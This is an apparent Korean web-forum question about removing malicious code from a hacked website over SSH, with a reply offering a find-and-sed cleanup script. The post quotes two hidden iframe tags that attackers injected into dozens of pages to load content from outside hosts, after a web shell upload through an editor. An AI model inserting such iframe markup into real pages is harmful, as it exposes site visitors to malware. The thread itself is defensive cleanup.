ssh로 사이트 악성코드 한번에 지울수 있나요?

· 14년 전 · 915 · 2
<iframe src='http://hui.pokuzi.info/qu.html' width='116' height='1' frameborder='0'></iframe>
<iframe src=' http://1lpg.co.kr/shop/calc.html' width='116' height='0' frameborder='0'></iframe>
 
이런 코드가 수십군데에 삽입되버렷네요.. (cheditor 이용해 웹셀 업로드 피해..)
SSH 접속해서 한번에 제거하는 방법 없을까요?
[이 게시물은 관리자님에 의해 2011-10-31 17:32:05 Linux에서 이동 됨]
|

댓글 2개

http://chonga.pe.kr/computer/tips/tip_replacestring.txt 를 참고 했습니다.

myreplace.sh 를 아래와 같이 만들고

chmod +x myreplace.sh 로 퍼미션 설정 후

실행해 보세요.

sh myreplace.sh 또는 ./myreplace.sh

#!/bin/sh

for f in `find . \( -name '*.php' -o -name '*.htm' -o -name '*.html' \) -print`
do
sed -e "s/<iframe src='http:\/\/hui.pokuzi.info\/qu.html' width='116' height='1' frameborder='0'><\/iframe>//g
s/<iframe src=' http:\/\/1lpg.co.kr\/shop\/calc.html' width='116' height='0' frameborder='0'><\/iframe>//g" $f > $f\.swp
rm -f $f
mv $f\.swp $f
done
: command not found2:
'yreplace.sh: line 9: syntax error near unexpected token `
'yreplace.sh: line 9: `done


라 뜨네요..
댓글을 작성하시려면 로그인이 필요합니다. 로그인

프로그램

+
제목 글쓴이 날짜 조회
14년 전 조회 1,653
14년 전 조회 1,042
14년 전 조회 1,331
14년 전 조회 847
14년 전 조회 978
14년 전 조회 769
14년 전 조회 1,099
14년 전 조회 1,000
14년 전 조회 419
14년 전 조회 553
14년 전 조회 630
14년 전 조회 939
14년 전 조회 763
14년 전 조회 762
14년 전 조회 747
14년 전 조회 1,151
14년 전 조회 854
14년 전 조회 860
14년 전 조회 872
14년 전 조회 678
14년 전 조회 1,740
14년 전 조회 1,510
14년 전 조회 937
14년 전 조회 763
14년 전 조회 1,832
14년 전 조회 1,197
14년 전 조회 1,036
14년 전 조회 796
14년 전 조회 1,502
14년 전 조회 3,763
14년 전 조회 2,421
14년 전 조회 1,114
14년 전 조회 729
14년 전 조회 784
14년 전 조회 1,306
14년 전 조회 973
14년 전 조회 1,350
14년 전 조회 1,392
14년 전 조회 1,413
14년 전 조회 614
14년 전 조회 857
14년 전 조회 2,736
14년 전 조회 757
14년 전 조회 1,226
14년 전 조회 803
14년 전 조회 679
14년 전 조회 1,221
14년 전 조회 648
14년 전 조회 1,329
14년 전 조회 916
14년 전 조회 1,574
14년 전 조회 1,503
14년 전 조회 1,015
14년 전 조회 1,248
14년 전 조회 933
14년 전 조회 1,637
14년 전 조회 1,219
14년 전 조회 1,211
14년 전 조회 1,489
14년 전 조회 1,394
14년 전 조회 823
14년 전 조회 890
14년 전 조회 659
14년 전 조회 834
14년 전 조회 1,583
14년 전 조회 2,337
14년 전 조회 2,234
14년 전 조회 1,873
14년 전 조회 1,411
14년 전 조회 1,489
14년 전 조회 1,269
14년 전 조회 1,525
14년 전 조회 634
14년 전 조회 1,266
14년 전 조회 631
14년 전 조회 1,077
14년 전 조회 849
14년 전 조회 1,961
14년 전 조회 733
14년 전 조회 2,554
14년 전 조회 971
14년 전 조회 808
14년 전 조회 2,908
14년 전 조회 677
14년 전 조회 948
14년 전 조회 489
14년 전 조회 818
14년 전 조회 592
14년 전 조회 1,286
14년 전 조회 718
14년 전 조회 1,090
14년 전 조회 713
14년 전 조회 644
14년 전 조회 621
14년 전 조회 1,332
14년 전 조회 793
14년 전 조회 681
14년 전 조회 702
14년 전 조회 1,371
14년 전 조회 1,380
🐛 버그신고